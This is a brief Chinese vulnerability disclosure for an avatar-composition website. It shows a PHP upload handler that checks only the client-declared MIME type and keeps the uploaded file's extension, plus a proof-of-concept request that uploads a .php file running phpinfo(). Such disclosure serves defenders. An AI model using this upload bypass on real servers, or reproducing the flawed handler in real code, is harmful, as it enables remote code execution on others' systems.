某渐变头像合成网站系统存在任意文件上传漏洞(RCE)

<?phpheader('Access-Control-Allow-Origin: *');header('Content-Type: application/json');$uploadDir = __DIR__ . '/uploads';if (!is_dir($uploadDir)) {    mkdir($uploadDir, 0755, true);}$response = ['success' => false, 'message' => '', 'url' => ''];if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['image'])) {    $file = $_FILES['image'];// 检查上传错误if ($file['error'] !== UPLOAD_ERR_OK) {        $response['message'] = '上传过程中发生错误。';echo json_encode($response);exit;    }// 验证文件类型    $allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];if (!in_array($file['type'], $allowedTypes)) {        $response['message'] = '仅支持JPEG, PNG和GIF格式的图片。';echo json_encode($response);exit;    }// 验证文件大小    $maxSize = 5 * 1024 * 1024;if ($file['size'] > $maxSize) {        $response['message'] = '文件大小不能超过5MB。';echo json_encode($response);exit;    }// 生成唯一文件名    $fileExt = pathinfo($file['name'], PATHINFO_EXTENSION);    $uniqueName = uniqid('avatar_', true) . '.' . $fileExt;    $targetPath = $uploadDir . '/' . $uniqueName;// 移动上传文件if (move_uploaded_file($file['tmp_name'], $targetPath)) {// 获取当前域名        $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";        $domain = $protocol . $_SERVER['HTTP_HOST'];// 构建图片URL        $imageUrl = $domain . '/uploads/' . $uniqueName;        $response['success'] = true;        $response['message'] = '文件上传成功。';        $response['url'] = $imageUrl;    } else {        $response['message'] = '文件移动失败。';    }} else {    $response['message'] = '无效的请求。';}echo json_encode($response);?>

POST /uploadImage.php HTTP/1.1Host: 127.0.0.1Content-Length: 199User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySVCSfotbAwRBzkeUAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundarySVCSfotbAwRBzkeUContent-Disposition: form-data; name="image"; filename="aaa.php"Content-Type: image/png<?php phpinfo();?>------WebKitFormBoundarySVCSfotbAwRBzkeU--